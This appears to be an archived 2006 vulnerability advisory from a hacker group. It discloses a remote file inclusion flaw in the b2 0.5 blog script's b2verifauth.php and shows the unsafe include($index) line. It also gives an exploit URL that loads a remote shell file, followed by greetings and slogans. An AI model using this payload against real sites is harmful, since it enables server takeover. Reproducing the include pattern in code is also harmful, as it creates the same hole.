Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[SA23444] a-blog Cross-Site Scripting Vulnerability

[SA23457] opentaps "SEARCH_STRING" Cross-Site Scripting Vulnerability

Okul Merkezi Portal v1.0 Remote File IncLude Vuln.

Title   :  Calendar MX BASIC <= 1.0.2 (ID) Remote SQL Injection Vulnerability

From:	ShaFuq31_(at)_HoTMaiL.CoM <ShaFuq31_(at)_HoTMaiL.CoM>
Date:	25.12.2006
Subject:	b2 - 0.5 * [index] Remote File Include Vulnerability

*********************************************************************************
*********************
*b2 - 0.5 * [index] ******************* Remote File �nclude*******************************************
*********************************************************************************
*********************
******************************************* +class : Remote File Include Vulnerability*
+********************************************************************************
**********************************
+Author : mdx                                                               
*
*****************************************************************************
+Files :                                                                    *
+b2verifauth.php?    *
*                                                                           *
*********************************************************************************
*
+code  :         *
+         *
+         include($index); *
+         *
*********************************************************************************
************
+ Exploit  :    *
+********************************************************************************
************+
+ http://www.site.***/[path]/b2verifauth.php?index=http://mdxshell.txt?       +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++
=================================================================================
================================
?   Hi , The_bat_hacker , How are you ? ;=)      *
?      *
? Thanks ; Cyber-WARRIOR TIM USERS, xoron , prohack ,leak , Ozii ,padisah, sakkure ,zip,y.$il abbad, dreamlord  *
?      *
?////////////////////////////////////////////////////////////////////////////////
////////////////////////////////
?---------------------specials thanks  stroke ,SHiKaA----------------------------------------*
*********************************************************************************
*************
*******************     *
*******************                   KORKULARINIZ SADECE KABUSLARINIZDIR..       *
*******************     *
*******************                        Turkish Hacker by mdx       *
*******************        *
*******************                        Korkmak Kurtulmak Degildir.     *
*******************                   *
*********************************************************************************
*************